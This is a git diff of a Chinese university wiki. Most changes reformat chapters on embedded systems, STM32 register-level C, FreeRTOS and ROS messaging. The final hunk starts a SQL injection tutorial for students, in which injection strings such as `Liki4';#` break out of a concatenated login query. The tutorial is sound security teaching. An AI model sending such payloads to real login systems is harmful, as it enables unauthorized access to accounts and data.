这不是因为那些人没有完全入门嵌入式,而是因为在嵌入式的学习过程中你会发现,它的概念会越来越大,逐渐模糊了你的认知,就拿一张某乎上的照片而言: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcny07MPlh99IIS5yxAdL4iDb.png) +![](https://cdn.xyxsw.site/boxcny07MPlh99IIS5yxAdL4iDb.png) 可见嵌入式的概念之广。 而我也常常遇到学弟学妹们去向我提问:什么是嵌入式? -我觉得以我通俗的话来讲就是:在硬件设备上写软件代码。虽然这种说法并不是完全准确,但是对于初学者而言暂时性的保持这样的认知,在探索嵌入式的过程中不断完善自己的学习体系,已是极好。 +我觉得以我通俗的话来讲就是:在硬件设备上写软件代码。虽然这种说法并不是完全准确,但是对于初学者而言暂时性的保持这样的认知,在探索嵌入式的过程中不断完善自己的学习体系,已是极好。 不如举一个大学里玩嵌入式的常见概念吧:机器人。 这玩意儿大家估计不陌生,比如你去酒店里,也许会有一个可以坐电梯上下楼层来完成特定任务的机器人(说实话高二在某季酒店第一次见的时候还蛮新鲜) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn99MPmacSrXPkIgQ13FLABc.jpg) +![](https://cdn.xyxsw.site/boxcn99MPmacSrXPkIgQ13FLABc.jpg) 而它也是一个嵌入式产品(或者说它们)。 @@ -33,20 +33,22 @@ 在嵌入式开发者的眼里,这会是一款成功的作品(当然考虑到了它的营销方面),它用通用嵌入式操作系统 + 应用软件的高端嵌入式系统结构,在满足系统对功能、功耗等要求的前提下,能将产品价格维持在一个较低的水平上,并且在我看来其 GUI 设计非常的令人舒适。 塞一个我认为很帅的 DIY 自行车码表,其 UI 设计也相当的棒。 + 还有一个我最近关注的一个博主,我喜欢其富有想法的创造力与强大的执行力。 + -# 想说的话 +## 想说的话 相信到这里,你对嵌入式或者嵌入式产品已经有了初步的认识。 说相对实在点的东西的话:在大学中,或者在杭州电子科技大学,学了嵌入式的一些基础知识后你可以去参与一些相关的竞赛(全国大学生电子设计竞赛、全国大学生智能车竞赛、全国大学生工程实践与创新能力大赛、Robot Master 机甲大师竞赛等等),也许你已经了解到杭电的环境会让你不断地接触许许多多的竞赛,在竞赛的学习过程中你可以获得一定的能力、获得一定的感悟,也许能获得到一定的荣誉,如果你足够优秀的话可以最后保研上岸,成为别人眼里的佼佼者。 -但是,笔者想说的是: +**但是,笔者想说的是:** 大学不再是像从前那般循规蹈矩,你可以在大学的生活中尝试各种各样的事情,这四年时光本就是一个不断试错的过程。如果你本身对竞赛十分感兴趣,或者说想要通过竞赛让自己之后的路走的更加顺畅,那么我会祝愿你能学有所成,并且最终能获得到自己满意的成绩; -但我更希望你是真正地对嵌入式感兴趣,热爱创造它的时光,热爱披荆斩棘后成功的欣喜,热爱它的生命,热爱它赋予你的意义...在这段学习历程中,竞赛会是你成长的一部分,但不是全部,也不能是全部。作为一个伪理想主义者(我认为完全的理想主义者不会痛苦,只有现实的理想主义者才会痛不欲生),生命中总会有更重要的东西,比如爱,无论是喜爱还是热爱,比如人,无论是亲朋还是蒹葭。 +**但我更希望你是真正地对嵌入式感兴趣,热爱创造它的时光,热爱披荆斩棘后成功的欣喜,热爱它的生命,热爱它赋予你的意义...在这段学习历程中,竞赛会是你成长的一部分,但不是全部,也不能是全部。作为一个伪理想主义者(我认为完全的理想主义者不会痛苦,只有现实的理想主义者才会痛不欲生),生命中总会有更重要的东西,比如爱,无论是喜爱还是热爱,比如人,无论是亲朋还是蒹葭。** 科技的最终意义是提高生产力,但科技带来的意义也远不止于此,我希望你们在接下来学习嵌入式的过程中,能不忘本心,钦佩自己的永远独立,钦佩自己的永远自由,不被世界的功利化所迷惑,感受嵌入式那独特而又真实的生命力! diff --git a/5.富有生命的嵌入式/5.2New meaning of C.md b/5.富有生命的嵌入式/5.2New meaning of C.md index 2389768..35ae1fd 100644 --- a/5.富有生命的嵌入式/5.2New meaning of C.md +++ b/5.富有生命的嵌入式/5.2New meaning of C.md @@ -16,21 +16,17 @@ Intel 的 STC89C51\C52 系列早在上世纪 80 年代就已经广泛运用, 以下是比较推荐的学习路线: -1、购买 51 单片机:[https://m.tb.cn/h.UuGJR5G?tk=kN94dm040JX](https://m.tb.cn/h.UuGJR5G?tk=kN94dm040JX) CZ0001 「普中 51 单片机学习板开发板 stc89c52 单片机实验板 C51 单片机 diy 套件」 +1、购买 51 单片机:[CZ0001「普中 51 单片机学习板开发板 stc89c52 单片机实验板 C51 单片机 diy 套件」](https://m.tb.cn/h.UuGJR5G?tk=kN94dm040JX) -2、推荐学习视频:【51 单片机入门教程-2020 版 程序全程纯手打 从零开始入门】[https://b23.tv/KmaWgUK](https://b23.tv/KmaWgUK) +2、推荐学习视频:[【51 单片机入门教程 -2020 版 程序全程纯手打 从零开始入门】](https://b23.tv/KmaWgUK) 3、相关学习资料: 软件安装包、开发板资料、课件及程序源码百度网盘链接: -[https://pan.baidu.com/s/1vDTN2o8ffvczzNQGfyjHng](https://pan.baidu.com/s/1vDTN2o8ffvczzNQGfyjHng) 提取码:gdzf,链接里压缩包的解压密码:51 ,如果打不开请复制链接到浏览器再打开 +[https://pan.baidu.com/s/1vDTN2o8ffvczzNQGfyjHng](https://pan.baidu.com/s/1vDTN2o8ffvczzNQGfyjHng) 提取码:gdzf,链接里压缩包的解压密码:51,如果打不开请复制链接到浏览器再打开 -### 一些简单的任务 -咳咳,摆烂一下,放一下 22 年实验室的培养计划(只给第一期,不能再多了): - -在学习完这些内容后,你可以尝试如下的工程实践: ## 寄存器(VERRY--IMPORTANT!!!) @@ -46,9 +42,9 @@ Intel 的 STC89C51\C52 系列早在上世纪 80 年代就已经广泛运用, 如果我们在图书馆上准备看书,去获取知识,此时我们是 CPU、书则是数据。 -如果我们去图书馆里的书架上拿书并观看,则需要:走到对应书架-拿书(获取数据)-回到书桌,这需要花费相当一部分的时间,此时硬盘相当于书架;如果我们直接拿书桌上的书,则相对速度会快很多,此时书桌相当于主存;如果我们手上就有一本书,那么我们低头就可以看到,手就相当于寄存器。所以,寄存器是 CPU 内部用来存放数据的一些小型的存储区域,用来暂时存放参与运算的数据和运算结果以及一些 CPU 运行所需要的信息。 +如果我们去图书馆里的书架上拿书并观看,则需要:走到对应书架 - 拿书(获取数据)- 回到书桌,这需要花费相当一部分的时间,此时硬盘相当于书架;如果我们直接拿书桌上的书,则相对速度会快很多,此时书桌相当于主存;如果我们手上就有一本书,那么我们低头就可以看到,手就相当于寄存器。所以,寄存器是 CPU 内部用来存放数据的一些小型的存储区域,用来暂时存放参与运算的数据和运算结果以及一些 CPU 运行所需要的信息。 -以我举例而言,可见寄存器获得数据的速度会快于主存与硬盘,而存储数据的大小将会小于主存与硬盘,如果这块不清楚的话也可以去看 也许你会用上的基础知识 中的存储器知识部分。 +以我举例而言,**可见寄存器获得数据的速度会快于主存与硬盘,而存储数据的大小将会小于主存与硬盘**,如果这块不清楚的话也可以去看 也许你会用上的基础知识 中的存储器知识部分。 而从汇编语言的角度来讲(此为 Intel 的汇编语法): @@ -79,19 +75,19 @@ ORG 0BH 以上简单例举了寄存器的一般作用,以汇编语言出发去讲的原因是:它能有效地展现底层代码的工作原理,既不会像机器语言那样只用 0、1 表示的晦涩难懂,又不会像高级语言那般难以直观地看到底层的工作方式。但是,我们做嵌入式入门开发的过程中并不会让你直接去写汇编语言,而是以最基础的 C 语言(相比汇编而言,C 在功能上、结构性、可读性、可维护性上有明显的优势),通过 Keil、IAR 等拥有交叉编译器的 C 语言软件开发系统来完成高级语言、汇编语言、机器语言的转码工作,从而通过 C 语言的编写来控制单片机等嵌入式系统的开发。 -而抽象层面的 C 代码需要通过访问寄存器来直接控制硬件。所以在嵌入式开发的过程中,C 有了特殊的含义:C 里的数字代表的可能只是一个地址或者一个数据,但是在嵌入式开发里,这样一个数字也可以代表着一种寄存器状态。 +而抽象层面的 C 代码需要通过访问寄存器来直接控制硬件。所以在嵌入式开发的过程中,C 有了特殊的含义:**C 里的数字代表的可能只是一个地址或者一个数据,但是在嵌入式开发里,这样一个数字也可以代表着一种寄存器状态。** 下面引入一个 STM32F1 系列的 GPIO 部分寄存器图(来源正点原子提供的 F1 参考手册): -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/MyDMbeCKLowC1Mx7Q6Ec9BLPn4g.png) +![](https://cdn.xyxsw.site/MyDMbeCKLowC1Mx7Q6Ec9BLPn4g.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/LJ1SbFfv6oUIgtx8CstcbWTNnRg.png) +![](https://cdn.xyxsw.site/LJ1SbFfv6oUIgtx8CstcbWTNnRg.png) -如果我们想做一个简单的实验-驱动一个 LED 灯(假设此 LED 灯以 PB5 为输出驱动口),在对相应的 RCC 时钟等配置之外,最重要的是对相应的 GPIO 口的配置,首先我们查阅其寄存器的物理起始地址: +如果我们想做一个简单的实验 - 驱动一个 LED 灯(假设此 LED 灯以 PB5 为输出驱动口),在对相应的 RCC 时钟等配置之外,最重要的是对相应的 GPIO 口的配置,首先我们查阅其寄存器的物理起始地址: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/CZ3cbiEhsoWDgJxhwXIcpUkAnMg.png) +![](https://cdn.xyxsw.site/CZ3cbiEhsoWDgJxhwXIcpUkAnMg.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HTFUbsQCNouQVzx0QYiciQWOnZf.png) +![](https://cdn.xyxsw.site/HTFUbsQCNouQVzx0QYiciQWOnZf.png) 可见 GPIO 外设通过 APB2 总线进行地址定位与传输数据的,所以我们要控制 PB5 的话首先需要定位到对应的地址: @@ -99,19 +95,19 @@ ORG 0BH #define PERIPH_BASE ((uint32_t)0x40000000) //外设基址 #define APB1PERIPH_BASE PERIPH_BASE -#define APB2PERIPH_BASE (PERIPH_BASE + 0x10000) //APB2基址 +#define APB2PERIPH_BASE (PERIPH_BASE + 0x10000) //APB2 基址 #define AHBPERIPH_BASE (PERIPH_BASE + 0x20000) #define AFIO_BASE (APB2PERIPH_BASE + 0x0000) #define EXTI_BASE (APB2PERIPH_BASE + 0x0400) #define GPIOA_BASE (APB2PERIPH_BASE + 0x0800) -#define GPIOB_BASE (APB2PERIPH_BASE + 0x0C00)//GPIOB基址,计算可得0x40010C00 +#define GPIOB_BASE (APB2PERIPH_BASE + 0x0C00)//GPIOB 基址,计算可得 0x40010C00 #define GPIOC_BASE (APB2PERIPH_BASE + 0x1000) #define GPIOD_BASE (APB2PERIPH_BASE + 0x1400) #define GPIOE_BASE (APB2PERIPH_BASE + 0x1800) #define GPIOF_BASE (APB2PERIPH_BASE + 0x1C00) #define GPIOG_BASE (APB2PERIPH_BASE + 0x2000) -//APB2还有相关定时器的基址,这里就不再展示 +//APB2 还有相关定时器的基址,这里就不再展示 #define GPIOB ((GPIO_TypeDef *) GPIOB_BASE) ``` @@ -121,11 +117,11 @@ ORG 0BH ```c void LED_Init(void) { - RCC->APB2ENR|=1<<3; //GPIOB的时钟使能,只有使能对应的时钟后GPIO才能正常工作 + RCC->APB2ENR|=1<<3; //GPIOB 的时钟使能,只有使能对应的时钟后 GPIO 才能正常工作 - GPIOB->CRL&=0XFF0FFFFF; //由图可知,CRL的第20-23位控制5口,此举是对第20-23位清零 - GPIOB->CRL|=0X00300000; //此举是对第20-23位赋值0011,根据寄存器功能可知此代表50Mhz推挽输出 - GPIOB->ODR|=1<<5; //设置ODR第5位为1,输出高电平 + GPIOB->CRL&=0XFF0FFFFF; //由图可知,CRL 的第 20-23 位控制 5 口,此举是对第 20-23 位清零 + GPIOB->CRL|=0X00300000; //此举是对第 20-23 位赋值 0011,根据寄存器功能可知此代表 50Mhz 推挽输出 + GPIOB->ODR|=1<<5; //设置 ODR 第 5 位为 1,输出高电平 } ``` @@ -146,9 +142,9 @@ typedef struct 所以由以上提到的例子而言,C 语言可以从如下三方面进行与寄存器之间的控制: -1. 寄存器的地址可以使用指针变量来访问。 -2. C 语言中的结构体可以用于表示寄存器映射。 -3. C 语言中的位域可以用于表示寄存器中的位。 +1. 寄存器的地址可以使用**指针变量**来访问。 +2. C 语言中的**结构体可以用于表示寄存器映射**。 +3. C 语言中的**位域可以用于表示寄存器中的位**。 而且 C 语言中的内联汇编可以用于直接访问寄存器。在某些情况下,如果我们需要直接访问寄存器来完成复杂的硬件控制操作,则可以使用汇编语言指令来直接访问寄存器,从而实现复杂的硬件控制操作。常见的如,堆栈大小的设置等。 diff --git a/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!.md b/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!.md index c31584c..14e9eff 100644 --- a/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!.md +++ b/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!.md @@ -6,25 +6,25 @@ 而在此栏目中,我们将讲述相关操作系统在嵌入式上的应用,让你的嵌入式产品更加的智慧!(当然裸机并不一定就比带操作系统的嵌入式产品差,只是应用方向不同或者说有时候需要考虑产品的成本问题) -Ps:本栏目只例举几个目前开发工程中常见的操作系统的学习与开发,具体的移植过程可 web 或者自行探索-相信我,出色的移植能力是嵌入式开发者必不可少的。 +Ps:本栏目只例举几个目前开发工程中常见的操作系统的学习与开发,**具体的移植过程可 web 或者自行探索 - 相信我,出色的移植能力是嵌入式开发者必不可少的。** ## RTOS -MCU 本身就能做到一定的实时性,那为什么还是需要 RTOS(实时操作系统)呢,其实评判实时系统的关键并不是系统对外部事件的处理速度,而是处理事件的时间的可预见性和确定性。举个例子,Windows 操作系统在 CPU 没有其他任务时可以在很短的时间内对外部事件作出一定的响应,但是当某些后台任务在运行时,有时候响应速度会变得很慢甚至出现假死现象,这并不是因为 Windows 速度不够快或者效率不够高导致的,而是因为 Windows 对事件的响应不能提供准确性,所以其不能算作一个实时操作系统。并且在笔者看来,实时操作系统除了可以达到完成每次任务所需时间的一致性外,其相应的操作系统产品(例如我们本栏目将重点介绍的 FreeRTOS,这里可以简单提一下为啥要选 FreeRTOS,显而易见因为-Free)还具有可以简化整体架构、开发等工作的作用。 +MCU 本身就能做到一定的实时性,那为什么还是需要 RTOS(实时操作系统)呢,**其实评判实时系统的关键并不是系统对外部事件的处理速度,而是处理事件的时间的可预见性和确定性。**举个例子,Windows 操作系统在 CPU 没有其他任务时可以在很短的时间内对外部事件作出一定的响应,但是当某些后台任务在运行时,有时候响应速度会变得很慢甚至出现假死现象,这并不是因为 Windows 速度不够快或者效率不够高导致的,而是因为 Windows 对事件的响应不能提供准确性,所以其不能算作一个实时操作系统。**并且在笔者看来,实时操作系统除了可以达到完成每次任务所需时间的一致性外,其相应的操作系统产品(例如我们本栏目将重点介绍的 FreeRTOS,这里可以简单提一下为啥要选 FreeRTOS,显而易见因为-Free)还具有可以简化整体架构、开发等工作的作用。** RTOS 中最重要的概念则是“任务”。 我们可以回想一下在 MCU 开发过程中,一般都是在 main 函数里做个 while(1)来完成大部分的处理,将一些相对来说对实时性要求高的函数(如 PID 控制器)扔到定时器中断当中,即应用程序是个无限的循环,是个单任务系统(前后台系统),while(1)作为后台,中断服务函数作为前台。这里采用了“正点原子”的一张图: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnFySF1Cd02I052V0a9glH1c.png) +![](https://cdn.xyxsw.site/boxcnFySF1Cd02I052V0a9glH1c.png) 而 RTOS 则是一个多任务系统,那么它这么做有什么好处呢? 2>1 嘛(乐),实际上在前后台系统中,你的每项 Task 要轮流排队等着上次 Task 执行结束后再进行自己的程序,大大影响了其系统的实时性要求;而 RTOS 中我们把整个 while(1)区分成了很多小任务,并且在表面上看起来这些任务运行起来像是同时进行,实际上是因为任务所需的时间较少导致它看起来像是并行,但这将会带来新的疑问,到底什么任务先执行呢?RTOS 就为此提供了任务的相关 API 接口,赋予任务相应的执行优先级属性,并通过任务调度器来控制任务的执行顺序。这里同样采用了“正点原子”的一张图: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcntQgR61yRboDpyb1bpI10Xp.png) +![](https://cdn.xyxsw.site/boxcntQgR61yRboDpyb1bpI10Xp.png) -所以,其实可以这么说:RTOS 将整个流程变成了很多个 while(1)【每个任务都是个 while(1)】。 +所以,**其实可以这么说:RTOS 将整个流程变成了很多个 while(1)【每个任务都是个 while(1)】。** 并且根据我上述所描述的内容,一个任务需要的属性大致如下(以启动函数为例进行介绍): @@ -51,7 +51,7 @@ int main(){ 1、b 站正点原子官方 FreeRTOS 教学(在今年有做全面的更新,比之前讲的更为清晰,难得的优秀入门视频) -[https://www.bilibili.com/video/BV19g411p7UT/?spm_id_from=333.999.0.0&vd_source=6ee6cc25ef1d46409e1f14084644c1f7](https://www.bilibili.com/video/BV19g411p7UT/?spm_id_from=333.999.0.0&vd_source=6ee6cc25ef1d46409e1f14084644c1f7) + 2、FreeRTOS 官网(官网往往是最适合学习的地方)[www.freertos.org](http://www.freertos.org) @@ -63,23 +63,23 @@ int main(){ 如果你已经对以上所涉及到的方面有了一定的了解,那么欢迎来到机器人开发者的殿堂-Robot Operating System! -由于硬件技术的飞速发展,针对于机器人软件设计的框架也面临着极大的挑战,而 ROS 的出现无异是所有机器人开发者的福音,因为如果按照以前的制作一个机器人流程来讲,也许你要经历以下步骤:硬件结构搭建、控制处理、相关算法构建等等,但是 ROS 的开源共享模式令其可以在其平台上巧妙利用别人的开源模型完成自己的机器人搭建,也就是说 Ros 的出现打破了原本各个开发者(或团队)闭门造车的开发现象,使得其可以共享优秀的机器人应用软件,换句话说就是提高了机器人研发的软件复用率。(毕竟哪个团队都不可能同时在建图、导航、视觉等机器人应用方面处于顶尖位置) +由于硬件技术的飞速发展,针对于机器人软件设计的框架也面临着极大的挑战,而 ROS 的出现无异是所有机器人开发者的福音,因为如果按照以前的制作一个机器人流程来讲,也许你要经历以下步骤:硬件结构搭建、控制处理、相关算法构建等等,但是 ROS 的开源共享模式令其可以在其平台上巧妙利用别人的开源模型完成自己的机器人搭建,**也就是说 Ros 的出现打破了原本各个开发者(或团队)闭门造车的开发现象,使得其可以共享优秀的机器人应用软件,换句话说就是提高了机器人研发的软件复用率。(毕竟哪个团队都不可能同时在建图、导航、视觉等机器人应用方面处于顶尖位置)** -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnRy7E27xggqNshXX3cu4J5Q.png) +![](https://cdn.xyxsw.site/boxcnRy7E27xggqNshXX3cu4J5Q.png) 由于 ROS 中完成度最高的是 Ubuntu,所以我们建议你以此展开学习,当然你也可以选择 macOS、Debian 等 OS。 但是 Linux 只是一个通用系统,并没有在机器人开发上提供相应的中间件,所以 ROS 提供了基于 TCP/UDP 的通信接口(机器人的工作当然需要通讯),在再此之上提供了相应的基础开发库供给至应用层。 -此时应用层则有个很重要的概念-Master(管理者),其负责管理整个系统的正常运行。如果我们需要获得比较成熟的相关领域开源机器人包,按以往的操作必将是进行一次比较复杂的移植(你需要考虑各种因素:比如硬件支持、与其他移植包是否冲突等等)。但是在 ROS 系统中引入了功能包的概念,你可以在 ROS 社区中下载相关版本(与你的 ROS 版本相匹配)的机器人应用功能包,完成一次非常简单的移植过程(CV),你不需要关注其内部的具体运行机制,只需关注接口的定义与使用规则便可进行相应的二次开发(在 ROS 中你需要关注的是相关节点之间的关系,可以通过 rqt_graph 获取清晰的节点图),相当于给你做好了一个跟机器人开发有关的高集成度SDK平台。(当然如果你感兴趣的话可以做一定的了解,但这将牵扯到相关内容的庞大体系,比如如果你想了解自主导航是如何运行的,你首先需要了解 SLAM 算法的运行机制以及激光雷达或者相关深度摄像机的运用,然后你需要了解什么是深度信息什么是里程计信息,为什么可以表示机器人的位置信息,要如何进行一些相关的位置信息修正,然后 bulabula。以笔者自身的学习经历而言,学习相关的理论基础体系,将对你的二次开发有极大的帮助,而不会造成盲目使用接口的情况) +此时应用层则有个很重要的概念-Master(管理者),其负责管理整个系统的正常运行。如果我们需要获得比较成熟的相关领域开源机器人包,按以往的操作必将是进行一次比较复杂的移植(你需要考虑各种因素:比如硬件支持、与其他移植包是否冲突等等)。**但是在 ROS 系统中引入了功能包的概念,你可以在 ROS 社区中下载相关版本(与你的 ROS 版本相匹配)的机器人应用功能包,完成一次非常简单的移植过程(CV),你不需要关注其内部的具体运行机制,只需关注接口的定义与使用规则便可进行相应的二次开发(在 ROS 中你需要关注的是相关节点之间的关系,可以通过 rqt_graph 获取清晰的节点图),相当于给你做好了一个跟机器人开发有关的高集成度****SDK****平台。**(当然如果你感兴趣的话可以做一定的了解,但这将牵扯到相关内容的庞大体系,比如如果你想了解自主导航是如何运行的,你首先需要了解 SLAM 算法的运行机制以及激光雷达或者相关深度摄像机的运用,然后你需要了解什么是深度信息什么是里程计信息,为什么可以表示机器人的位置信息,要如何进行一些相关的位置信息修正,然后 bulabula。**以笔者自身的学习经历而言,学习相关的理论基础体系,将对你的二次开发有极大的帮助,而不会造成盲目使用接口的情况**) -根据以上我讲述的相关内容可知:ROS 系统的优点在于,你能将社区里的有关机器人的开发模块集大成于一身,并且通过 ROS 与控制板通讯(此时类似于 STM32 的裸机主控便变成了控制板-用于接收 ROS 的调控完成相应电机、舵机的控制,或者完成一定的例如 oled 显示的简单任务),从而完成 ROS 系统内部开源算法对整个机器人的控制。 +根据以上我讲述的相关内容可知:**ROS 系统的优点在于,你能将社区里的有关机器人的开发模块集大成于一身,并且通过 ROS 与控制板通讯(此时类似于 STM32 的裸机主控便变成了控制板 - 用于接收 ROS 的调控完成相应电机、舵机的控制,或者完成一定的例如 oled 显示的简单任务),从而完成 ROS 系统内部开源算法对整个机器人的控制。** 以下我简单介绍一下 ROS 的基础通讯方式: 在裸机开发中,我们的通讯(不论是蓝牙、WiFi 还是最基础的串口通讯)本质上都来自于串口中断,也就是说裸机开发引入了 ISR 来处理相应的数据接收。ROS 通讯中同样需要这样的函数来完成对目标数据的处理,而在 ROS 中我们称之为回调函数。 -我们以话题通讯机制来做简要介绍,在此通讯中需要有两个节点,一个 Publisher(发布者)以及一个 Listener(订阅者),他们将发布和订阅同一个来完成相应的通讯-将发布和订阅的内容交给 ROS Master(整体流程类似于 WiFi 中的 mqtt 协议通信,将发布和订阅的内容交给公共服务器,形成一个转接的效果)。 +我们以话题通讯机制来做简要介绍,在此通讯中需要有两个节点,一个 Publisher(发布者)以及一个 Listener(订阅者),他们将发布和订阅同一个来完成相应的通讯 - 将发布和订阅的内容交给 ROS Master(整体流程类似于 WiFi 中的 mqtt 协议通信,将发布和订阅的内容交给公共服务器,形成一个转接的效果)。 所以通过这样的一个流程,具体的代码如下(以 C++ 为例): @@ -91,14 +91,14 @@ int main(int argc, char **argv) ros::init(argc, argv, "talker"); //其次,为了对这个类更好地进行处理,我们需要创建节点句柄 ros::NodeHandle n; - //创建一个Publisher=> pub,发布名为chat的topic,消息类型为std_msgs::String + //创建一个 Publisher=> pub,发布名为 chat 的 topic,消息类型为 std_msgs::String ros::Publisher pub = n.advertise("chat", 1000); - //设置循环的频率,对应着sleep延时 + //设置循环的频率,对应着 sleep 延时 ros::Rate loop_rate(10); while (ros::ok()) { - // 初始化std_msgs::String类型的消息 + // 初始化 std_msgs::String 类型的消息 std_msgs::String msg; /* @@ -124,7 +124,7 @@ int main(int argc, char **argv) //节点与节点句柄是必不可缺的 ros::init(argc, argv, "listener"); ros::NodeHandle n; - // 创建一个Subscriber,订阅名为chatter的topic,注册回调函数chatCallback + // 创建一个 Subscriber,订阅名为 chatter 的 topic,注册回调函数 chatCallback ros::Subscriber sub = n.subscribe("chat", 1000, chatCallback); // 循环等待回调函数 ros::spin(); @@ -132,7 +132,7 @@ int main(int argc, char **argv) } ``` -而其中,在 Listener 中出现了回调函数,其功能类似于裸机中的中断控制-当接收到对应的订阅消息后,进行对应的数据、逻辑处理,例如如果我只是想把接收到的数据打印出来的话,我可以这么写回调函数 chatCallback: +而其中,在 Listener 中出现了回调函数,其功能类似于裸机中的中断控制 - 当接收到对应的订阅消息后,进行对应的数据、逻辑处理,例如如果我只是想把接收到的数据打印出来的话,我可以这么写回调函数 chatCallback: ```cpp void chatterCallback(const std_msgs::String::ConstPtr& msg) @@ -145,13 +145,13 @@ void chatterCallback(const std_msgs::String::ConstPtr& msg) 1、b 站古月居 ROS21 讲(讲的比较浅,但是可以作为入门学习视频,了解整个框架,感兴趣地可以看胡老师的 ROS2 系列视频,毕竟 ROS1 近期已经停更了,要保持不断学习的姿态) -[https://www.bilibili.com/video/BV1zt411G7Vn/?spm_id_from=333.999.0.0&vd_source=6ee6cc25ef1d46409e1f14084644c1f7](https://www.bilibili.com/video/BV1zt411G7Vn/?spm_id_from=333.999.0.0&vd_source=6ee6cc25ef1d46409e1f14084644c1f7) + -提一嘴:很多人学 ROS 就学一个开头-比如就学了古月居的 21 讲,就认为自己已经了解到了 ROS 的大部分内容了(不会有人现在还是纯看视频学习吧),实际上这是非常错误的想法。当你学完了视频的内容后,你甚至可能不会移植 wiki 上的功能包(x_x),甚至不知道如何去开发一个真实的机器人(因为此 21 讲只是理论上的讲解,去做一个虚拟机器人在 gazebo 上运行)。ROS 的学习上需要我们花大量的心思去学会接触新的东西,你们并不能只局限于我提供的推荐学习资料,因为相应的功能包不是一成不变的,而且也不是只有那么几个功能包,当你感受了 ROS 的自主建图、自主导航、机械臂控制、机器学习开发等等等等等等后,你才会发现 ROS 的世界是如此美妙! +**提一嘴:很多人学 ROS 就学一个开头 - 比如就学了古月居的 21 讲,就认为自己已经了解到了 ROS 的大部分内容了****(不会有人现在还是纯看视频学习吧)****,实际上这是非常错误的想法。当你学完了视频的内容后,你甚至可能不会移植 wiki 上的功能包(x_x),甚至不知道如何去开发一个真实的机器人(因为此 21 讲只是理论上的讲解,去做一个虚拟机器人在 gazebo 上运行)。ROS 的学习上需要我们花大量的心思去学会接触新的东西,你们并不能只局限于我提供的推荐学习资料,因为相应的功能包不是一成不变的,而且也不是只有那么几个功能包,当你感受了 ROS 的自主建图、自主导航、机械臂控制、机器学习开发等等等等等等后,你才会发现 ROS 的世界是如此美妙!** 2、b 站赵虚左 ROS 课程(讲得细致多了,需要耐心看下去,要是我入门 ROS 的时候有这个视频就好了) -[https://www.bilibili.com/video/BV1Ci4y1L7ZZ/?spm_id_from=333.999.0.0&vd_source=6ee6cc25ef1d46409e1f14084644c1f7](https://www.bilibili.com/video/BV1Ci4y1L7ZZ/?spm_id_from=333.999.0.0&vd_source=6ee6cc25ef1d46409e1f14084644c1f7) + 3、古月居的《ROS 机器人开发实践》(根据国外的《ROS By Example》改编,但是更贴近于入门开发,会有相关功能包更细致的解析) diff --git a/5.富有生命的嵌入式/5.富有生命的嵌入式.md b/5.富有生命的嵌入式/5.富有生命的嵌入式.md index 7c88e20..8607f45 100644 --- a/5.富有生命的嵌入式/5.富有生命的嵌入式.md +++ b/5.富有生命的嵌入式/5.富有生命的嵌入式.md @@ -1,10 +1,10 @@ # 5.富有生命的嵌入式 -Author:肖扬 +> Author:肖扬 -孵化器实验室 2023 招新群(QQ): 879805955 +孵化器实验室 2023 招新群 (QQ): 879805955 -预热 OJ 平台:[OJ 平台(C 语言为主)](http://hdufhq.cn/) +预热 OJ 平台:[OJ 平台 (C 语言为主)](http://hdufhq.cn/) > 实验室不仅有嵌入式方向,还有硬件、网络 web 开发方向! @@ -16,6 +16,6 @@ Author:肖扬 > “点星星之火,燃燎原之势,热血芳华,理想当燃” -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn3t2GyLQqe4RpGdRtakcwBc.png) +![](https://cdn.xyxsw.site/boxcn3t2GyLQqe4RpGdRtakcwBc.png) -ps:若对此部分讲义有相关疑问或者建议,欢迎 QQ 联系-1213047454 +ps:若对此部分讲义有相关疑问或者建议,欢迎 QQ 联系 -1213047454 diff --git a/6.计算机安全/6.1.1SQL 注入.md b/6.计算机安全/6.1.1SQL 注入.md index d89e491..ef00655 100644 --- a/6.计算机安全/6.1.1SQL 注入.md +++ b/6.计算机安全/6.1.1SQL 注入.md @@ -2,11 +2,11 @@ Author: `Liki4` from Vidar-Team -Vidar-Team 2023 招新 QQ 群: 861507440(仅向校内开放) +Vidar-Team 2023 招新 QQ 群:861507440(仅向校内开放) -Vidar-Team 官网: [https://vidar.club/](https://vidar.club/) +Vidar-Team 官网:[https://vidar.club/](https://vidar.club/) -Vidar-Team 招新报名表: [https://reg.vidar.club/](https://reg.vidar.club/) +Vidar-Team 招新报名表:[https://reg.vidar.club/](https://reg.vidar.club/) 本文中所有涉及的代码全部都托管在 [https://github.com/Liki4/SQLi](https://github.com/Liki4/SQLi) @@ -34,7 +34,7 @@ def check_pass(username, password): 从 `users` 表中查出 `username` 对应的 `password` 的哈希值,将其与用户传入的密码哈希值进行比对,若相等则意味着用户传入的密码与数据库中储存的密码相吻合,于是返回准许登录 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnHiNBWN86AR4AvSSsUVwSWb.png) +![](https://cdn.xyxsw.site/boxcnHiNBWN86AR4AvSSsUVwSWb.png) 那么问题来了,在语句 @@ -144,7 +144,7 @@ mysql> select group_concat(id,username separator '_') from users; 现在我们传入 `Liki4'` 这个字符串 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn8TrpE02fnPV7dFzkmnHiAe.png) +![](https://cdn.xyxsw.site/boxcn8TrpE02fnPV7dFzkmnHiAe.png) 很遗憾,报错了,这个查询因为 SQL 语句存在语法错误而无法完成。 @@ -154,7 +154,7 @@ mysql> select group_concat(id,username separator '_') from users; 那如果我们传入 `Liki4';#` 这个字符串,那么在拼接后的查询又是什么结果呢 